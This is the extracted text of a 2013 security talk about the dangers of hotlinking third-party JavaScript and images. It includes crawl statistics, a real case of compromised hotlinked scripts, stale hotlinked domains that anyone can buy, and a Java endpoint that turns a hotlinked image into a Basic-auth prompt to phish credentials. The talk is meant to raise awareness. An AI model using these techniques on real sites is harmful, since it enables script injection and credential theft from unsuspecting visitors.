45
Hotlinking is Too Hot for Comfort @johnwilander, GeekMeet Stockholm 2013

Hotlinking is Too Hot for Comfort

Embed Size (px)

DESCRIPTION

Presentation given at GeekMeet in Stockholm, January 2013. Covers the risks with hotlinking JavaScript and images in your websites.

Citation preview

Page 1: Hotlinking is Too Hot for Comfort

Hotlinking is Too Hot for Comfort

@johnwilander, GeekMeet Stockholm 2013

Page 2: Hotlinking is Too Hot for Comfort

@johnwilander

Hotlinking ==

<img src="http://3rdparty.net">

<script src="http://3rdparty.net"></script>

Page 4: Hotlinking is Too Hot for Comfort

@johnwilander

Crawled

• Alexa Top 10,000

• Up to 500 pages per domain

• 3,000,000+ pages in total

Page 5: Hotlinking is Too Hot for Comfort

@johnwilander

Page 6: Hotlinking is Too Hot for Comfort

@johnwilander

Sites typically hotlink JavaScriptfrom 5-15 remote hosts

Page 7: Hotlinking is Too Hot for Comfort

@johnwilander

If I can run a script on your site or app, what

can I do?

Page 8: Hotlinking is Too Hot for Comfort

@johnwilander

Browser Exploitation Frameworkhttp://beefproject.com/

Page 9: Hotlinking is Too Hot for Comfort

@johnwilander

So, who is able to run scripts on your site?

Page 10: Hotlinking is Too Hot for Comfort

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper Functions www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

Page 11: Hotlinking is Too Hot for Comfort

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

Page 12: Hotlinking is Too Hot for Comfort

@johnwilander

Service .js% of Top

AlexaWeb analytics www.google-analytics.com/ga.js 68.37%

Dynamic Ads pagead2.googlesyndication.com/pagead/show_ads.js 23.87%

Web analytics www.google-analytics.com/urchin.js 17.32%

Social Networking connect.facebook.net/en_us/all.js 16.82%

Social Networking platform.twitter.com/widgets.js 13.87%

Social Networking & Web analytics s7.addthis.com/js/250/addthis_widget.js 12.68%

Web analytics & Tracking edge.quantserve.com/quant.js 11.98%

Market Research b.scorecardresearch.com/beacon.js 10.45%

Google Helper www.google.com/jsapi 10.14%

Web analytics ssl.google-analytics.com/ga.js 10.12%

ga.js and urchin.js are two different versions of Google Analytics => probably not on the same site.

68.37+17.32 ≈ 85% of Alexa Top 10,000

Please don't be evil, Google.

Page 13: Hotlinking is Too Hot for Comfort

@johnwilander

Page 14: Hotlinking is Too Hot for Comfort

@johnwilander

https://github.com/Craga89/qTip2/issues/286

2011-12-08 there was an issue reported

Page 15: Hotlinking is Too Hot for Comfort

@johnwilander

"sends your browser agent and another piece of info"

Page 16: Hotlinking is Too Hot for Comfort

@johnwilander

"old Wordpress install … security vulnerability"

"infected nearly all JS files on my site"

Page 17: Hotlinking is Too Hot for Comfort

@johnwilander

"The offending scripts have been removedas well as the Wordpress blog"

"cronjob setup that checks for changes"

"Closed"

Page 18: Hotlinking is Too Hot for Comfort

@johnwilander

"it downloads some other exploits"

Comment

Page 19: Hotlinking is Too Hot for Comfort

@johnwilander

https://github.com/Craga89/qTip2/issues/286

One month later …

Page 20: Hotlinking is Too Hot for Comfort

@johnwilander

"issue is still present"

Page 21: Hotlinking is Too Hot for Comfort

@johnwilander

"Looks like the security hole wasn't plugged after all"

"Please … do not hotlink"

"Reopened"

Page 22: Hotlinking is Too Hot for Comfort

@johnwilander

"I've disabled the Wordpress blog on my site"

"Closed"

Page 23: Hotlinking is Too Hot for Comfort

@johnwilander

Questions on qtip Hack

• How many end user PCs were trojanized?

• How many passwords stolen?

• How many credit card numbers stolen?

• How many internet bank logins remote controlled?

Page 24: Hotlinking is Too Hot for Comfort

@johnwilander

Stale Hotlink Domains

Page 25: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

…Hotlinks

Page 26: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

Other domains

Hotlinks

Page 27: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 1,000,000

Alexa Top 10,000

Other domains

Stale domains,open for purchase

Page 28: Hotlinking is Too Hot for Comfort

@johnwilander

The Stale Numbers

• +3,000,000 pages crawled

• 4,225 hotlinked domains outsideAlexa Top 1,000,000

• 50 domains stale, i.e. no longer registered

Page 29: Hotlinking is Too Hot for Comfort

@johnwilander

Nick et al purchased two of those stale

domains

Page 30: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

Page 31: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

23 less popular sites

blogtools.us

Page 32: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

blogtools.us

hbotapadmin.com

80,466 4,615Visits (15 days)

23 less popular sites

Page 33: Hotlinking is Too Hot for Comfort

@johnwilander

Alexa Top 10,000

Stale domains

goldprice.org

hbotapadmin.com

hbo.com

blogtools.us

Including domains

Including pages

blogtools.us

hbotapadmin.com

80,466

24

84

4,615

4

41

Visits (15 days)

23 less popular sites

Page 34: Hotlinking is Too Hot for Comfort

@johnwilander

The Case of the Unauthorized Image

Page 35: Hotlinking is Too Hot for Comfort

@johnwilander

”Hotlinked images,can they bite me too?”

Page 36: Hotlinking is Too Hot for Comfort

@johnwilander

<script src="http://3rdparty.net"></script>

<img src="http://3rdparty.net">

OK, this might be bad

But this?

Page 37: Hotlinking is Too Hot for Comfort

@johnwilander

Page 38: Hotlinking is Too Hot for Comfort

@johnwilander

What if Meetup allowedprofile images to be hotlinked?

Page 39: Hotlinking is Too Hot for Comfort

@johnwilander

Meanwhile, at the Attacker’s Server …

Page 40: Hotlinking is Too Hot for Comfort

@johnwilander

src/main/webapp/ css/… img/thumb_john.jpg js/… html/…

Including images typically looks like thisin a web app project:

But an attacker could instead resolve that image URL in code, like this …

Page 41: Hotlinking is Too Hot for Comfort

@johnwilander

private static final String IMG_PATH = "/img/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}

Page 42: Hotlinking is Too Hot for Comfort

@johnwilander

private static final String IMG_PATH = "/images/thumb_john.jpg";private boolean returnUnauthorized = false;@GET@Path("/thumb_john.jpg")@Produces("image/jpg")public Response getEvilImage(@Context ServletContext context) { if (returnUnauthorized) { return Response.status(Response.Status.UNAUTHORIZED) .header("WWW-Authenticate", "Basic").build(); } else { try { BufferedImage image = ImageIO.read(context.getResourceAsStream(IMG_PATH)); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ImageIO.write(image, "jpg", outputStream); byte[] imageData = outputStream.toByteArray(); return Response.ok(imageData).build(); } catch (IOException e) { e.printStackTrace(); return Response.serverError().build(); } }}

… adding some nasty, alternate behavior.

Page 43: Hotlinking is Too Hot for Comfort

@johnwilander

Page 44: Hotlinking is Too Hot for Comfort

@johnwilander

Now what will John Doe enter?

Page 45: Hotlinking is Too Hot for Comfort

@johnwilander

Some more nails for the coffin …

• CSS files can execute JavaScript (expressions in IE6-7 and XBL in Firefox)

• SVGs can execute JavaScript

• Gif files can be edited to become executable JavaScript and HTML